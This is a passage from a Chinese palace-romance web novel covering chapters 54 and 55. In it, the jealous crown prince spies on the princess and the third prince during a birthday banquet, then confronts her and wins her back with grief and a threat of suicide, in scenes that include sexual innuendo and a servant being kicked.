从前魏元帝虽有意立萧彻为储,那也不过是因为他宠爱贵妃,如今贵妃既死,他因着身份特殊,自然再无可能,非但如此,连带着魏元帝的宠爱都消失了,所以他才转而投靠萧衍? 他的选择,是否也是一种风向? 为什么他投靠的不是太子,而是二皇子?难道仅仅是因为两人走得更近些? 还是说父子连心,他早已先一步窥探到了魏元帝的心意? 在太子和二皇子之间,他更属意后者? 这原也不是什么秘密,只是如今魏元帝对萧衍的宠爱愈盛,甚至将萧彻的功绩尽数加在他的身上,难不成是动了易储的念头,想为他增加夺储的砝码? 众人面面相觑,神色疑虑。 萧珏自然也想到了这点,脸色十分难看。 从始至终,只有萧彻面色如常,唇角噙着一丝意味不明的笑意,低头转动着拇指上的白玉扳指。 第54章 第54章躲在树后目睹一切的太子…… 萧衍到底还是坐在了魏元帝的左首下方,春风满面。 席间魏元帝多有关照,关切挂念之情溢于言表。 倒真是一副父慈子孝的感人画面。 萧珏低下头,目光阴鸷,冷冷地扯了唇角,手指用力,似乎要把手中的杯盏捏碎成齑粉。 底下百官交头接耳,轻声议论。 唯有坐在群臣之首的崔守阶岿然不动,一副云淡风轻的做派。 其实萧珏和萧衍都是崔婉卿所出,说到底,都与他清河崔氏脱不了干系。 两个都是他的表侄,无论最后是谁登上帝位,于他而言都没有太大分别。 甚至若太子人选换成是萧衍,他更乐见其成。 ——萧珏的太子之位,是因他是嫡长子,与他并没有什么干系,日后他登基为帝,大不了也只是尊称他一声表舅。 可若是换做萧衍,那就大不一样了。 他虽嫡非长,太子之位原本不该是他的,倘若陛下有意改立王储,而他又愿意在适当的时候推波助澜,那他日后自然念着他的这一份恩情,在朝事上也会更加听从他的意见。 怎么算,都是一桩好买卖。 这般想着,他不动声色地弯起唇角,撇了撇茶沫,低头啜了一口茶。 —— 耳边是魏元帝与萧衍父慈子孝的谈笑声,明明不是他的功绩,却被他拿来大肆夸赞萧衍,一些擅于察言观色的官员也跟着阿谀奉承。 萧珏低头无声地冷笑。 那般的热闹,却与他格格不入。 从前贵妃在时,魏元帝偏宠萧彻,眼里看不见他。 如今贵妃不在了,萧彻失宠,可他却转头愈发看重萧衍,依然看不见他。 从始至终只有他,是被厌弃的那一个。 呵,其实他真有那么爱萧衍吗,或许也未必。 他只不过是需要一个他喜欢的儿子。 从前是萧彻,如今是萧衍,不过端看江沉鱼是生是死罢了。 江沉鱼生,则魏元帝爱屋及乌,自然最爱萧彻。 可江沉鱼一死,萧彻就成了她在这世上最显眼的遗物,旁人或许睹物思人,可魏元帝不一样,他下令陪葬所有贵妃的遗物。 那些东西,只会一遍遍地提醒他江沉鱼已经死了,他见不得那些。贵妃死后,他越发沉迷丹药,人也已经越来越疯癫了。 对于萧彻,他恐怕只会想,她唯一的儿子,为什么不去陪她!或许他连他自己都想去陪她。 倘若不然,他实在解释不通为什么萧彻会骤然失宠。 他不爱他的任何一个儿子。 他真正爱的人,或许只有贵妃。 而他作为抢了贵妃儿子皇位的人,自然从一开始就已经出局,便是连这般廉价的父爱,他都不屑于给他。 他的父亲,从来不肯正眼看他一眼。 —— 萧珏一连猛灌了好几杯酒,胸腔中的一股郁气却始终挥散不去,这样的场合,他一刻都待不下去了。 或许来这场寿宴的唯一好处,便是能够见到颜嘉柔。 在这宫里,也只有她是全心全意地爱着自己, 也唯有从她身上,他才能感受到一点真心。 尽管那点真心,是他不择手段哄骗来的,是原本不属于他的。 萧珏捏着杯盏的手微微使力,眸底掠过一道暗色。 可那又怎样,她喜欢他就足够了。 这么多年的情谊,难道还抵不过儿时的一次恩情么?他自信就算有朝一日她知道了真相,依旧会待他如初。 想到颜嘉柔,他的眼神霎时变得温柔。 她热情开朗,活泼黏人,就像一个小太阳,她应当是他在宫中唯一的光亮,是他黑暗人生中唯一的慰藉了。 不过说到黏人……他倒是微微一怔,自从那次骊山狩猎回来之后,她似乎变得不像从前那般黏人了。 非但如此,他连见到她的次数也越来越少。 算下来,他已经接连几天不曾见到她了,说来也奇怪,她以前几乎日日都往宫中跑,可这段时日,却总是不见她。 他上回也曾找她就此事发泄不满,可她说最近身子不适,整日嗜睡,精力十分不济,所以才没去找他。 小姑娘又是发誓又是那般楚楚可怜地看着他,加之言辞十分恳切,他有再大的不满也发作不出来了,便只能按下不表。 话说回来,毕竟都在宫中,他之前倒还能见她几次,可这几天却不知怎么,哪里都不曾碰见,倒像是她有意避着他似得。 便是他去承欢殿找她,映雪也总说她不在殿内,或是正在小睡,他便只能不去打扰。 他自然是不信她会对他避而不见,只是一时又想不出缘由,便想着下次见面,必得好好盘问一番才行,可不能教她轻易撒娇掉几滴泪给糊弄过去了。 好在今日总归是见到了,虽说这个寿宴他如坐针毡,但至少让他见到了颜嘉柔。 他唇角微扬,微微侧头,朝颜嘉柔所在地方向望去。 却在目光触及到她的一瞬间,眼底倏地漫上冷意。 她坐在对侧,脸色绯红,手指反复扣着杯盏的外壁,另一只手搁置在案上,食指无意识地挠扣着案面,这是她紧张时一贯的小动作。 她水眸湿//润地望向对面,神情有些紧张不安,却又带了一份欲说还休的羞恼,说不出的娇媚动人。 这样的神情,却不是在看他。 萧彻。 他深深地吸了一口气,体内戾气疯狂滋长—— 她居然,在看萧彻。 他二人趁着众人的注意力全都放在魏元帝与萧衍身上时,居然敢在大庭广众之下当众调//情。 萧珏眉目间笼上一层寒霜,转头看向身旁的萧彻。 他一手支撑在桌案上,斜靠着目视正前方,不偏不倚,看的也正是颜嘉柔。 有手遮挡,萧珏看不见他脸上的神情,只能依稀窥见他下颌动了动,似乎是在说话。 听不到声音,那便是在用口型说话。 不知萧彻说了什么,颜嘉柔的脸色更红了,粉色一路蔓延至前胸颈侧,像是在白腻的牛乳中掺入朱砂,渐渐晕开一片赤色。 细白的手指拢了又松,眉眼寒烟笼纱,眼中像是漾了一汪春水,水光潋滟,只看着萧彻,半晌终于颤颤地点了点头。 萧彻说了什么? 她又答应了他什么? 萧珏只觉呼吸滞涩,狠狠攥紧了拳,余光瞥见一旁的萧彻慢慢地坐直了身体,放下手臂后,唇畔勾着一抹得逞的笑意。 殿内高悬鳌山灯,火光跳跃在他的脸上,侧脸完美到一寸一厘都像是被精心雕琢而成,有着皇族与生俱来的矜贵,又得益于另一半兰陵血脉,眉眼放荡而蛊人,皮囊出挑得张扬而嚣张,俊美近妖。 他看着他,忽然从心底深处慢慢浮上一种前所未有的恐慌。 兰陵人向来魅惑,这一点他父亲在江沉鱼身上早已领教过,他亦是亲眼所见,魏元帝是怎么为江沉鱼神魂颠倒的。 有其母必有其子,颜嘉柔不会也被他迷惑了吧! 他明明一早提醒过她的! 他早知道萧彻对颜嘉柔的心思,从前他二人一直不对付,是因为萧彻一向心高气傲,不屑行勾引蛊惑之事,可会不会在他不知道的时候,萧彻已经不要脸了,他到底对颜嘉柔做了什么? 为什么她会一再疏远他,而与萧彻眉目传情? 为什么,她会对萧彻露出那样的神情? 他深深地一闭眼,竭力按捺住体内滋长的戾气。 颜嘉柔有可能移情别恋这个猜测,他光是想到,就让他愤怒得想要杀人! 为什么? 萧彻他抢了原本应该属于他的一切,父亲的宠爱,作为太子应有的礼制、荣耀,犹嫌不够么? 为什么连他最后一点光亮都要夺去! 他怎么可以这么残忍! 为什么,为什么他不去死!不和他的娘一块去死! 兰陵一族,果真下贱,他母亲勾引父皇,他如今又来勾引他的女人,惯是会抢别人的东西,最是下贱不过! 他敛下眉眼,掩下眸中的晦色,作势捏过杯盏,余光留意两人的一举一动。 他倒要看看,他们究竟要做什么。 片刻之后,颜嘉柔果然神色扭捏地起身,说是因着父皇生辰心中高兴,多喝了两杯,不胜酒力,想要暂时离席吹吹风散散酒气。 魏元帝对颜嘉柔一向宽宥宠爱,闻言自然欣然应允。 颜嘉柔便颤巍巍地起身,一副不胜酒力地样子,揉着太阳穴,步履蹒跚地离席。 萧珏却分明注意到,她在离去前状似无意地向萧彻投去一瞥,也不知是不是真的醉了,脸颊染上一片胭脂色,眸中溢着水色,春情盎然。 果然又过了一会儿,萧彻也找了借口离席。 萧珏暗暗握紧了拳。 他一走,他便再也按捺不住,也同样找了借口离席。 好在如今魏元帝所有心思都在萧衍身上,皇子接连离席,他也并没有多问。 —— 萧珏远远地跟在萧彻身后,见他穿过了游廊,绕过了太液池,渐渐远离了寿宴的喧嚣热闹,转而拐进了一座假山。 萧珏脚步一停,立刻藏在了一根廊柱后面,只微微侧身,探出一双眼睛观察前方萧彻的举动。 只见他停在那座假山的洞口,并未走入,转而侧身朝一旁欺近。 萧珏看到了隐隐约约露出来的一角淡粉纱裙,以及在夜风中随风轻晃的披帛。 萧彻突然欺近,颜嘉柔有些着急地道:“别……别在这里……”从前不是一直在假山洞内么,怎么如今在外面便要……这里虽说地处隐蔽,不易被人察觉,但总归还是有些冒险,她害怕。 萧彻这回却并不依她:“怕什么,这会儿他们都在前面寿宴,没人会出来。” “可……可是……” 萧彻轻笑:“可是什么?” 还不等她开口,他便俯身吻住了她的唇瓣,描摹舔舐,极尽挑弄:“回去之后,想没想我?” 兰陵人在男女调情的手段上,向来是极具天赋。 颜嘉柔被他亲得晕晕乎乎,一时也顾不上计较了,软软地缠上他劲瘦的腰身,点了点头道:“想……” 萧彻意味不明地“哦?”了一声:“想我哪儿啊?” 颜嘉柔怔了下,眼神透出点迷茫:“我……” 萧彻挑眉,见她这般无措茫然,忍不住被气笑了。 “笨丫头,连句哄人的话都不会,怕只惦记着我的血了吧?” 他轻咬了一下她白嫩的耳垂,有些恨恨地道:“小没良心的。” “没……没有……” 颜嘉柔将脸埋在他的怀里,委屈地道:“没有只惦记你的血……” —— 不远处萧珏一瞬不瞬地盯着这一幕。 只见那女子搂上了萧彻的腰身,两人不知说了什么,那女子像是终于得到了萧彻的某种许可,踮起脚尖,颤颤巍巍地凑近他的脖颈。 因着这个举动,女子的大半张脸显露出来。 这晚并无乌云遮月,月明星稀,借着月色,萧珏终于看清了那女子的脸。 是颜嘉柔! 虽则心中早有猜测,可亲眼目睹,才算真正死心,竟然真的是颜嘉柔! 他死死盯着他们,忍不住借着夜色遮掩,又往前挪了些许,藏身在假山对面的一棵古柏树后。 靠得近了,看得自然也就更为清楚。 只见他那位貌美娇柔的皇妹,正将萧彻抵在假山上,踮起脚尖,伏在他颈侧,难耐又急切地吮//吸着什么,唇边的一抹鲜红在瓷白的脸上却十分刺目——竟是血! 而他那位一向与她不对付的三皇弟,此刻却一手托着她的腰,轻咬着她的耳廓,嗓音透着磁性,懒洋洋地道:“颜颜,慢点儿。” “别忘了你答应过我的——用了我的血,就得离太子远点儿,嗯?” 躲在树后目睹一切的太子目眦欲裂。 他死死地盯着眼前的一幕,却见与颜嘉柔调转了身子、懒洋洋地靠在假山上、予取予求的萧彻,忽然微微侧过了脸。 视线透过茫茫夜色,正好与他的相碰。 萧珏一愣,不由自主地绷直了身子,眼中有着滔天的嫉恨和怨毒。 萧彻看着他,忽然漫不经心地笑了。 那样无谓的神情,仿佛根本不把他放在眼里。 萧珏最讨厌他这副神情! 萧彻朝他散漫地一挑眉,故意当着他的面,诱导颜嘉柔行亲密之举:“颜颜,吻我。” 颜嘉柔身子一颤,下一瞬,果然攀附着他的颈侧,乖顺地吻了上去。 他一手松松垮垮地搂住她的细腰,游刃有余地与她接着吻,唇齿纠缠,舔//舐描摹,极尽调情,一边视线却望向了萧珏。 那双淡茶色的蛊人眼眸,毫不掩饰地写满了欲望。 赤//裸裸的占有欲。 他肆无忌惮地搂着颜嘉柔,与她抵死接吻,目光却看向他,向他耀武扬威地宣誓他的主权。 一举一动,无一不是在向他挑衅,他想说的,分明是—— 颜嘉柔——是我的。 第55章 第55章修罗场。 萧珏面露狠色,双目赤红,死死地盯着前方卿卿我我的两人。 两边太阳穴突突地跳,他只觉周身所有的血液都直往上冲。 所有物被他人沾染,被最爱的女人背叛的双重愤怒瞬间席卷全身。 这一刻,他只想亲手杀了萧彻! 他怎么能,他怎么敢! 他分明是故意的! 他一早便知道他跟了上来,诱导他看到眼前的这一幕! 是啊,他早该想到的。 兰陵人听觉原本就较常人灵敏,更何况萧彻自小习武,耳力自然不会差,又怎么会察觉不到有人跟踪? 可笑他竟以为他毫无所察,自以为可以窥探到他二人之间的私情,殊不知,这正是他一手为他安排,请君入瓮。 或许不止于此,在宴席上他与颜嘉柔眉目传情,难道不怕他看见?还是说,这根本就是故意为之。 他想要他看见,想要他跟着出来,想要他撞见眼前的这一幕。 颜嘉柔并不曾对他透露一点关于她和萧彻之间的事,也就是说,她短时间内并不打算跟他摊牌,虽然她一时被他蛊惑,但她心里一定还是有自己的位置的。 或许她是有什么把柄在他手上,才不得不乖乖听他话。 萧彻坐不住了,这才急不可耐地设计让他撞破他们之间的私情,逼得颜嘉柔做出选择。 这个时候,千万不能自乱阵脚。 颜嘉柔还没有说不要他,他又怎么能先说放弃。 可是……她会选择他吗? 还是萧彻! 一想到第二种可能性,他恨不得立刻杀了他! 他深吸一口气,竭力按压**内即将喷涌而出的戾气。 理智渐渐回归,他意识到冲动不能解决任何问题,这个时候,绝不能上前跟萧彻起冲突。 一来如果现身上前与萧彻打起来,他必不是他的对手不说,待会闹大了动静,只怕前面寿宴上的魏元帝也会得知此事。 就算动静不大,没引来人,可他们几人都是找了借口才能中途离席,待会儿势必还是要回到宴上,若是打斗过后身上落了伤,抑或是脸上挂了彩,必会被看出端倪。 而颜嘉柔和萧彻于假山幽会这事若被魏元帝知道,他磕丹药磕昏了头,没准当场就下旨给他二人赐婚。 二来颜嘉柔胆子小,经不得吓,倘若他现在现身质问,她受了惊吓,六神无主,一时只能依赖萧彻,稀里糊涂的,反倒选了他。 那他岂不是将她推向了他么? 不,绝不能这么鲁莽。 此事还得从长计议,他就算要找颜嘉柔当面对质,也要挑萧彻不在的时候。 想通这一层之后,萧珏最后狠狠地瞪了他一眼,悻悻地转身离去。 —— 假山口,萧彻余光瞥见萧珏已经走远,唇畔懒洋洋地勾起一抹笑意,终于舍得松开了颜嘉柔。 “好了,宝宝,”他道:“亲完了。” 颜嘉柔气喘吁吁地伏靠在他怀里,胸月甫上下起伏着。 萧彻抚摸着她的脸,弯唇道:“颜颜,今晚表现很不错。” 颜嘉柔抬头看他,瓷白的脸上红潮未褪,眼眸含着水光,唇瓣红肿,茫然地道:“表现……不错?” “今天的颜颜很乖,我很高兴。”萧彻亲吻了她的额头,柔声道:“要不要什么奖励?” “奖励?”她才刚刚被他的血喂饱,这会儿并没什么需求,一时倒想不出来:“我……我不知道……有什么奖励可以选么?” 如果可以的话,她想让他给她从宫外带点儿时兴的话本,或者留芳斋新出的糕点……他出宫可比她方便多了。 萧彻闻言不知想到了什么,却是似笑非笑地看着她:“你,真的要我帮你选么?” 颜嘉柔不明所以,迟疑地点了点头。 她也好奇萧彻能给她什么选项,说不定比她自己想的还要好呢,如果可以的话,他想让他带她出宫去玩儿,就他们两个人,萧彻时常出宫,一定知道哪里最好玩儿啦。 她满怀期待,眼睛亮晶晶地看着他。 萧彻挑眉,望着一脸天真的小兔,喉结轻滚,忽然起了逗弄的心思。 他稍稍俯身,坏笑着看向她:“那,我就奖励你……” 他一边说着,一边凑近附在她耳侧,不知说了什么。 惹得颜嘉柔将将才褪下的红潮又泛了上来,脸颊绯色一片,耳垂更是红得仿佛能够滴血。 她紧咬着唇瓣,抬头羞愤地看向他:“你……萧闻祈,你乱说什么!” 她伸手推了他一把:“你就是个大**!这才不是奖励!” “她瞪了他一眼,雪腮鼓起:“你骗我……我再也不要理你了……”说着转身就要走,不防手臂被人从背后一拽,她被迫重新跌回了他的怀里。 “哪儿骗你了啊。” 萧彻掐着她的腰,散漫地问。 “这怎么就不是奖励了?”他俯身与她平视,挑眉道:“伺候你还不好啊?又不是c你。” “你……你还说!”颜嘉柔涨红了脸:“你怎么,脑子里整天想这些!” 萧彻手指挠着她的下巴,闻言轻笑了一声:“还不是皇妹,实在太可爱了。可爱到我一见到到你,就忍不住想要欺负你,若不做点什么,我真怕我会被你可爱死。” 这般颠三倒四的话,颜嘉柔自然听不懂是什么意思,她这时也不会想到她对待心爱的小兔子也是这般,忍不住又掐又亲又抱,时不时逗它,有时还会吓它。 只因为它实在太可爱 ,她忍不住。 可她这时想不到这层,便也只不满地嘟哝了一声:“什么嘛。” 萧彻哑声亲吻着她:“颜颜,我只对你这样。” 颜嘉柔并不买账,别过了脸:“哼,那也还是大**。” 萧彻将她的脸重新扳了过来,好笑道:“我还什么都没做,你便这么叫我,嘶,既然如此,” 他勾起唇角,故意吓她:“我不做点什么,倒真对不住你这么叫我了。” 一边说着,一边笑微微地向前逼近,颜嘉柔被逼着后退,可惜不过退了两步,便被抵在了石壁上,一时退无可退,只能抬眸可怜巴巴地望着他:“三……三哥哥……” 萧彻挑眉,骨节分明的一截手指,微微挑开她胸前的襟带,那一处饱满欲坠,原本便十分撑胀,一旦松了束缚,雪白的汝禸便争先恐后地往外溢。 萧彻的手指很漂亮,白皙修长,仿佛玉竹,加之气质疏离,便连带着手指,都自有一股清冷禁//欲的气息,不容亵渎。 然而便是这样的手指,此刻却覆在她的…… 偏偏神情并不沾染半分情//。欲,像是在把玩一样寻常物件。 反倒衬得她神情迷乱,眼尾泛红,不堪撩拨至此。 她惊呼一声,下意识地环顾四周,紧张地道:“别……别在这里……” 萧彻眉梢微动:“别在这里?” “哦,我知道了……”他慢慢笑了起来,俯身凑至她的耳畔:“颜颜想在别的地方,让我这么对你,是么?” 她根本不是这个意思,闻言羞恼地瞪了他一眼:“你……” “我什么?”萧彻唇边含着笑意,照例厚颜无耻道:“我刚才的提议,你真的不想试试么,保证销//魂,你试过一次,就知道了。” 他压低声音,语气暧//。昧:“这种事,兰陵人自然远比魏人有天分得多,传闻你也听过不少,你难道,不想亲身领教一下么。” 颜嘉柔眼睫乱颤,脸色涨得通红,抬手用力推了他一把:“我才不要!” 萧彻被推得往后退了一步,竟也不恼,只笑看着她,揶揄道:“小傻子,我亲自伺候你,旁人求都求不来,这般好事,竟也不要,你说你傻不傻。” 颜嘉柔才不信呢:“不要!你就只会欺负我,我才不上当呢。” 那个地方,怎么可以用舌舔呢……萧彻惯会骗人! 说完戒备地看了他一眼,转身快速地跑掉了。 萧彻望着她远去的背影,慢慢弯起唇角。 回想起她方才脸红害羞的模样,忍不住有些回味。 再也没有什么,比逗小兔来得更有意思了。 —— 回到席间后,萧珏竭力按捺**内暴戾的情绪,装作什么都没有发生过的样子。 只是捏着杯盏的手,到底忍不住微微颤抖。 一炷香后,萧彻和颜嘉柔也前后回到了座位。 颜嘉柔脸上残红未褪,一双美眸泛着水光,落座后始终低着头,双手绞在一起,怎么看都是一副心虚的模样。 好在除了萧珏,此时并无人暗自打量她。 反观萧彻,倒是一派从容自若,对旁人依然是一副生人勿进的模样,半点端倪都瞧不出。 却在萧珏的视线落在他身上时,故意拨弄衣领,露出颈侧一枚淡红的印记。 在那样暧//昧的部位弄出这样的痕迹,实在像极了吻痕。 因着他肤色冷白,仿佛冬日下的第一场初雪,任何痕迹,在他身上都十分明显。 那枚红痕,此刻正耀正武扬威地爬在他颈侧,彰显着方才他与种下这枚痕迹之人的浓情蜜意。 萧珏目光阴鸷,藏在案桌下的手狠狠攥紧了。 —— 次日辰时三刻,颜嘉柔刚起来没多久,梳洗完毕,正在桌前用膳。 昨晚喝了点酒,便睡得格外得沉,只是又做了许多梦,不知是不是昨晚萧彻跟她说了那些骚话的缘故,连带着她的梦境也越来越不堪入目…… 一觉醒来,明明睡得时间并不算短,却仿佛被吸干了精气,整个人依旧懒洋洋的,没什么精神。 她打算等用完早膳再补了回笼觉。 这段时间,她的确越来越嗜睡了。 就好像当初刚被野狐咬伤,对萧彻产生了一种莫名的渴望,却又还没有尝到他血的时候,也是这般无精打采。 后来她尝到了他的血,且萧彻比她想象得更为配合,以一种溺爱的心态,对她几乎予取予求,她想要取多少血都可以,那段时间,有了他的血的滋润,她的确神采飞扬,容光焕发。 可是不知道是不是萧彻的纵容让她不知节制、无度索求,渐渐地,她的阈值好像越来越高。 不但取血的次数越来越多,间隔越来越短,到如今,虽然他的血依旧能安抚她的躁动,但却不像之前一样让她感到格外愉悦了。 堪堪只能勉强维持她的正常形态,不至于让她发病失态罢了。 可这不够,远远不够。 这种不够,让她心底深处始终有一股挥之不去的烦躁感,只有见到萧彻,并与之有肢体接触时,这股烦躁才会散去一些。 好烦,为什么萧彻不能一直陪在她身边。 怎么办。 她好像,亟需一种新的东西来填补。 她为之迷恋的,似乎再不仅仅是萧彻的血了。 可她却不知道这种新的东西是什么,只知道只有萧彻能给她,她自信无论她要什么,萧彻都不会拒绝,可惜连她自己都不知道她到底要什么,这让她感到格外烦躁。 —— 映雪将牛乳递给她,又往她面前的碟子里夹了一块乳酪酥,她以手支颐,没什么精神,正要夹起一块往口中送,一名宫婢神色匆匆地进来禀报:“公主,奴婢在门口远远地望见太子殿下步履匆匆,好像是朝着咱们承欢殿来了。” 颜嘉柔之前吩咐过,如果来的是萧彻,则直接让他进来,可如果是萧珏,则要立刻进来通禀,让她有时间装睡或者从侧殿的偏门溜出去。 她答应萧彻不再见萧珏了。 是以宫婢才会特地进来禀报。 颜嘉柔闻言一愣,抬头与映雪对视了一眼,眉心蹙起:“这个时辰,不是才下朝么?他来我这里干什么?” 映雪道:“是啊……一下朝就立刻来找公主您,难道是有什么急事?” 颜嘉柔双手撑在桌上,托住圆润的两颊,烦躁地呼出一口气:“唔,好烦。” 真的好烦,她身上已经很不舒服了,太子为什么还要过来添乱,这个时候,她一点儿都不想见到他。 她实在没有精力应付他,光想想就觉得好累。 她知道这样不对,那是她从前最喜欢的太子哥哥,她怎么能觉得他烦呢。 她深知为人处事的道理,她的爹爹教了她那样多,宫中为众位公主开设讲学,她也读过书,知道人要知廉耻,不能言而无信、不能薄情寡义,更不能……见异思迁,朝三暮四。 道理她都知道,可她控制不了自己,听到萧珏要找她,她就是觉得烦。 就像她明明知道跟萧彻纠缠不清是不对的,可她还是一步步地陷进去了,甚至大有越来越沉迷的趋势。 或许只是因为生病了,并不是因为别的——她如今也只能这么安慰自己了。 她明明喜欢的是萧珏,可却又离不开萧彻。 这般摇摆不定,连她也讨厌这样的自己。 偏偏很多事情,是难以自控的。 她叹息了一声,转头对映雪道:“映雪,我今天身体不太舒服,便不出去躲他了。你只跟他说,我还在睡觉就成了。” 映雪点了点头,领着宫婢出去了。 她也没胃口再吃东西,便起身回榻上装睡。 —— 映雪走到殿门口时,正撞上迎面赶来的萧珏,他的面色不太好,只冷冷地看了她一眼,沉声道:“孤要见嘉柔。” 映雪愣了愣,朝他福了个身,将事先打好腹稿的话说了出来:“回禀太子,公主她身子不适,怕是不方便见客。” 萧珏闻言眸底寒芒更甚,冷笑道:“是不方便见客,还是不方便见孤?” 映雪悚然一惊,正要说些什么,不防萧珏忽然伸手将其狠狠推开:“滚开,敢挡孤的路,是不想活了吗!” 映雪被推得一个踉跄,等站稳后,眼中惊恐之余,流露出来更多的是惊讶。 萧珏一向温润谦和,待人有礼,怎么今日如此暴戾,倒像换了个人似得。 她直觉不妙,连忙跪下道:“殿下恕罪!” 萧珏只是冷哼了一声,刚想往前走,却忽然像是想到了什么,停下脚步,转头看向跪伏在脚边的一个宫婢。 “你,”他抬脚踢了她一下:“去含光殿找萧彻,就说嘉柔有事找他,让他立刻过来,听到了没有?” 这……这不是让她欺骗三殿下么……欺瞒皇子,这可不是闹着玩儿的,更何况,若是被公主知道了,她也会生气的…… 这般想着,身子瑟瑟发抖,便没有立刻回话。 萧珏却没有这么好的耐心,见她迟迟不回话,便又用力踹了她一脚,直将人踢翻在地:“孤在问你话呢,是聋了吗?!” 映雪看出今天的太子非常不对劲,整个人处在一种极端暴戾的情绪当中,这会子若不顺着他,只恐要出事,便连忙给那名宫婢使了个眼色:“秋霜,太子问你话呢,还不快些回话!” 萧珏那一脚根本没收着力道,秋霜只觉身上的肋骨都被踢断了两根,强忍着疼痛重新跪好,忙不迭地道:“是,奴婢听到了,奴婢这就去。” 说完便连忙跌跌绊绊地起身,向门外走去。 罢了,被三殿下和公主怪罪,也比现在就被太子弄死好。 —— 听到门被人嘎吱一声从外面推开,有脚步声渐近,颜嘉柔有些困倦地翻了个身,声音带着浓重的鼻音:“映雪,怎么样,太子走了么?” 却迟迟不听映雪回话,颜嘉柔心中奇怪,慢慢睁开了双眼,却见床头赫然立着一道高大的身影。 等看清来人的面容后,她一个激灵,连忙从床上坐起,顿时睡意全无:“太……太子?” 萧珏面色阴沉,只一瞬不瞬地盯着她:“皇妹,就这么不想见到孤吗?” “没……没有……”颜嘉柔下意识地拨弄了一下鬓发:“我只是……只是有些意外……” 萧珏眯起眼睛,这是她心虚时的一贯动作。 “意外,我能见到皇妹,那才是意外吧?” “若不是我今天不管不顾地闯进来,你是不是打算躲我一辈子?” 颜嘉柔一时心乱如麻,支支吾吾地说不出话来:“太子哥哥,我……” 萧珏坐在了床边,静静地审视着她,少女脸上已不复往日的热切与爱意,如今的她,甚至不敢抬头看他。 他讽刺一笑,一把捏过她的手腕,将她拽至眼前:“那你想见谁,萧彻吗?你忘了他从前是怎么对你的了?他处处欺负你,你从前不是最讨厌他了吗?为什么现在完全变了?” “你就那么喜欢他?喜欢到完全不计较他从前对你做过的那些事?” 他看着她,忽然幽幽地道:“其实你早就喜欢他了吧,就像其他女人一样,光是看着他就能发//。情,之前所谓的讨厌,不过是讨厌他不喜欢你而已,所以他一旦开始向你示好,你就被他迷得晕头转向,朝你勾勾手指,你就上赶着了,是不是?” 颜嘉柔错愕地抬头:“你……” 她吞咽了一口口水,紧紧攥着被角:“我,我没有……” 萧珏冷笑一声,忽然凑近朝她白腻的颈侧狠狠吻去。 颜嘉柔大惊失色,连忙挣扎道:“太子,你干什么……你放开我!” 萧珏从她的颈侧抬头,阴恻恻地笑了:“怎么,萧彻能亲得,孤就亲不得了?萧彻亲你的时候,你也是这般装作贞洁烈女的样子吗,还是一脸痴迷地望向他,任君采撷呢——昨晚在假山旁,你和萧彻,孤都看到了。” 颜嘉柔脑袋轰的一声,只觉耳边嗡嗡作响,她唇瓣不断颤抖,却是说不出话来:“我……你……” 萧珏越说表情越狰狞,手上使了力,狠狠攥紧她的手腕,忽然扭曲道:“颜嘉柔,枉我对你一片真心,你却背着孤和萧彻偷情,你对得起孤吗!你这个**!水性杨花的**!” 这般羞辱,任哪个女子听了都会受不了的。 颜嘉柔面色煞白,气得浑身发抖,抬手啪得一声打在了萧珏的脸上。 这一巴掌打得萧珏微微侧过脸,也打得他清醒了几分,让他意识到现在他做的这些并不能达成他的目的。 颜嘉柔一向吃软不吃硬,他必须换一种方式。 —— 萧彻那会儿正要出宫,可刚出了含光殿,迎面便碰上了秋霜。 秋霜见了他,连忙上前行礼,末了道:“三殿下,公主请你过去一叙,说是……说是有要紧的事。” 萧彻一怔,随即笑了起来:“她刚醒就想见我?” 秋霜抬头看了他一眼,脸上一红,又匆匆把头低下,他生得太好看了,尤其笑起来,更是让人失神,她不敢看他,当然还有一个原因,她心虚,怕被他看出什么。 好在萧彻并没有起疑,只问了一句:“今日怎么是你来?” 往日都是映雪来的。 不过他也就是随口一问,问完就转身往承欢殿的方向走了,并不等着她回话,显然也不在意答案。 秋霜悄悄松了一口气,抬步跟了上去。 —— 承欢殿内,颜嘉柔看着萧珏,一脸的不可置信:“你……你说什么?皇后……废后薨逝了?” 萧珏颓然地点了点头,眼中尽是哀痛:“是,就是今早的事,父皇甚至连看都没去看一眼,只随便指了个日子下葬,也不让她入陵寝……呵,我母后爱了他一辈子,百年之后,居然连葬在他身边都不能够……” “我知道他怎么想,他只想跟江沉鱼合葬,呵,可贵妃的位份再尊贵,那也只是妃位!死后也只能入园寝,他别再妄想了!” 说着意识到自己有些失态,抬手擦拭了一下眼角的泪痕,紧紧握住了颜嘉柔的双手道:“所以嘉柔,我是受不了这个打击所以才情绪不稳,你……你不会怪我吧?” “我只是……只是一时接受不了……母后走了,你又移情……父皇又从来不曾看重过我,这世间,竟再无可值得让我留恋的了,既然如此,倒不如随母后一道去了,黄泉路上,倒还能有个照应……” 颜嘉柔闻言心中一凛,一双小手连忙反握住他的手道:“太子哥哥,你千万别这么想,我会陪着你,我会一直陪着你的,原来你是因为前皇后离世才这般反常,既如此,我又怎么会怪你,你切勿多想了。” “你说你会一直陪着我,”萧珏试探地看向她:“那……萧彻呢?” 颜嘉柔一怔,一时心乱得厉害:“我……我不知道……” 但萧珏适逢母亲离世,是最伤心难过的时候,这个时候,她万不可再刺激他了,那些说不清道不明的情愫,连她自己都没有看清,便先搁置在一旁吧:“我和他之间,不是你想的那样,我之所以和他举止亲密,盖因我身染怪病,需要他的血治病。” 便将事情的前因后果,一五一十地告诉了他。 萧珏闻言倒是有几分恍然:“怪不得昨晚在假山附近,我看到你唇边沾了血……”他还以为是颜嘉柔情难自禁,太激烈了所致呢。 原来她接近萧彻,只是为了取血。 他的眼神瞬间有了光彩,握着颜嘉柔的肩膀,欣喜又急切地道:“所以嘉柔,你并没有变心对不对,你爱的还是我,是不是?” 颜嘉柔的眼神却有些闪躲,莫名浮上几分心虚,然而这个当口,也只能硬着头皮点了点头。 萧珏大喜,将人 紧紧地按在怀里,声音竟有几分哽咽:“嘉柔,我就知道,我就知道你决不会背叛我的……” “对了,你方才说那个哑医曾治好过旁人这般怪病,是吗?” “是,可是他似乎治不了我……” “一样的怪病,既然他能治好旁人,如何治不了你,你放心,这事我会帮你想办法。” 他松开了颜嘉柔,按着她的肩膀,微微低头看着她道:“既然你接近他只是为了取血治病,那等你的病好了,是不是他就再也没了利用价值,你便可以再不理他了,是不是?” 颜嘉柔神色有几分挣扎:“我……我还没想过……况且这病,该是治不好的……” “是治不好,还是你压根就不想治?”萧珏抬起她的下巴,迫使她与他对视:“嘉柔,算我求你了,给我一个准话,行么,否则我真是不想再苟活于世了。” 